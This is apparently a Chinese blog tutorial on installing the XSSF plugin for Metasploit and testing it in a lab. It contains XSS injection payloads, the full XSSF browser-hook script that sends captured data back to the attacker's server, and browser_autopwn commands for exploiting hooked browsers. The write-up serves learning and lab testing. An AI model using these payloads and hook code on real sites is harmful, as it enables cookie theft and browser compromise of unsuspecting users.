为Metasploit添加XSSF模块
在看《Metasploit渗透测试魔鬼训练营》的时候讲的XSSF模块的使用,感觉这个模块很神奇,原理虽然不知道但是觉得应该让大家的Metasploit都添加上这个模块,以备不时之需,本文目的仅仅是分享一下XSSF这个工具的安装和使用方法。
KALI Llinux安装方法:
安装最新的KALI Linux,现在是v1.0.6版本,metasploit版本4.8.2(下载地址http://www.kali.org/downloads/)
终端输入:
svn exporthttp://xssf.googlecode.com/svn/trunk/ XSSF
下载XSSF源代码,下载完成后会出现在根目录下,然后找到/opt/metasploit/apps/pro/msf3目录,将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。
接下来运行metsaploit framework
加载xssf模块:
msf > load xssf
Windows安装XSSF模块
下载安装Metasploit windows免费版
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
下载xssf源代码:选择最新的3.0下载,下载地址(http://code.google.com/p/xssf/downloads/list)
安装完成后将下xssf源码放到安装目录msf3下(如D:metasploitappspromsf3),同样将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。
运行metasploit客户端
加载xssf模块:
msf > load xssf
这样就可以使用了。
测试:
在靶机的博客中添加xss代码,让其访问“http://10.228.5.14:8888/loop”这个页面,至于怎么构造成XSS我也不太清楚,我在博客的页面写了两个XSS代码,一个是<script /xss src=http://10.228.5.14:8888/loop/></script>,另一个是<iframe src=http://10.228.5.14:8888/loop/></iframe>,当我访问之后在Metasploit中显示了有客户端连接成功(使用xssf_victims),如图:
大家可以看到5.10是XP系统的靶机,5.14是我的真机win 8.1+Firefox 26。
在iframe插入的窗口中可以看到10.228.5.14:8888/loop的源代码,本人能力有限,只能看出第一句尝试获取cookie,后面的就不确定了。
function XSSF_EXECUTE_LOOP() { try { if (document.getElementById('XSSF_CODE') != null) document.body.removeChild(document.getElementById('XSSF_CODE')); } catch(e) {} script = document.createElement('script'); script.id = "XSSF_CODE"; script.src = "http://10.228.5.14:8888/ask?location=" + window.location.protocol + "//" + window.location.host + "&id=3&time=" + escape(new Date().getTime()); document.body.appendChild(script); } if (typeof(XSSF_LOOP) != "undefined") clearInterval(XSSF_LOOP); XSSF_LOOP = setInterval(XSSF_EXECUTE_LOOP, 10 * 1000); // Interrupt with clearInterval(XSSF_LOOP); function XSSF_CREATE_XHR() { if (window.XMLHttpRequest) return new XMLHttpRequest(); if (window.XDomainRequest) return new XDomainRequest(); if (window.ActiveXObject) { var names = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]; for(var i in names) { try{ return new ActiveXObject(names[i]); } catch(e){} } } } function XSSF_GARBAGE() { var iframes = document.getElementsByTagName('iframe'); for(var i = 0; i < iframes.length; i++) if(iframes.item(i).getAttribute('name') == 'POST_IFRAME') document.body.removeChild(iframes.item(i)); } XSSF_DO_GARBAGE = setInterval(XSSF_GARBAGE, 10 * 1000); function XSSF_PROCESS_BINARY(xmlhttp) { data = xmlhttp.responseText; r = ""; size = data.length; for(var i = 0; i < size; i++) r += String.fromCharCode(data.charCodeAt(i) & 0xff); return r; } function XSSF_POST_BINARY_AJAX_RESPONSE(x, method, url, mod_name, data, resp_id) { mod_name = mod_name || null; data = data || null; resp_id = resp_id || Math.floor(Math.random()*10000000); if ((method != "GET") && (method != "POST")) return; x.open(method, url, true); x.setRequestHeader('Cache-Control', "no-cache"); x.setRequestHeader('Accept-Charset', "x-user-defined"); if (x.overrideMimeType) x.overrideMimeType('text/plain; charset=x-user-defined'); if (method == "POST"){ x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); x.setRequestHeader("Content-length", data.length); x.setRequestHeader("Connection", "close"); } x.send(unescape(data)); x.onreadystatechange=function() { if (x.readyState == 4) XSSF_POST(XSSF_PROCESS_BINARY(x), mod_name, x.getAllResponseHeaders() + "\n===" + x.status + "===\n==" + x.statusText + "==", resp_id); } } function XSSF_CREATE_IFRAME(id, width, height) { // Creates an Iframe if (document.getElementById(id) != null) document.body.removeChild(document.getElementById(id)); i = document.createElement('iframe'); i.id = id; i.width = "0" + width + "%"; i.height = "0" + height + "%"; i.style.border = "0px"; i.frameborder = "0"; i.scrolling = "auto"; i.style.backgroundColor = "transparent"; return i; } function XSSF_POST_B64(response, mod_name) { XSSF_POST("__________" + response + "__________", mod_name); } function XSSF_POST(response, mod_name, headers, resp_id) { x = XSSF_CREATE_XHR(); headers = headers || ""; mod_name = mod_name || "Unknown"; resp_id = resp_id || Math.floor(Math.random()*10000000); x.open("POST", "http://10.228.5.14:8888/answer"); x.send("name=" + escape(mod_name) + "&response=" + escape(response) + "&headers=" + escape(headers) + "&responseid=" + escape(resp_id) + "&id=3"); } XSSF_SERVER = "http://10.228.5.14:8888/"; XSSF_VICTIM_ID = 3; XSSF_XHR = XSSF_CREATE_XHR();
Firefox访问的时候什么提示都没有,但是XP靶机进行访问的时候出现一个对话框,说文件不能被下载,浏览器找不到目标,防火墙已经关闭了,IE安全属性也是最低,不知到原因,希望知道原因的大牛告诉一下。
XP的靶机不能打开链接,所以只能用真机试。–>在这里有一个误区,因为我看到XP靶机下面显示了一个NO,真机下面显示了一个YES,以为XP的IE浏览器无法检测,其实不然,我之后把窗口拉大又进行了测试,发现YES和NO指的是是否获取了cookie,并不是浏览器能否被检测。应该是看active选项,true可以进行测试,false不可以进行测试。
对firefox进行测试:
use auxiliary/server/browser_autopwn
set LHOST 10.228.5.14 #xssf捕捉到的客户端IP (被攻击者)
set SRVHOST 10.228.5.14 #运行metasploit的IP地址(攻击者)
exploit #检测漏洞
jobs #查看可用EXP
xssf_exploit 2 37 (2-xssf捕捉到的客户端序号,37-漏洞利用序号)
查看利用结果:sessions #显示会话
测试了几个浏览器的漏洞没有成功,但是对于XSS的测试还是有帮助的,至少不会每次都是截一个弹窗的图,需要学习的还很多希望大牛们多多指点。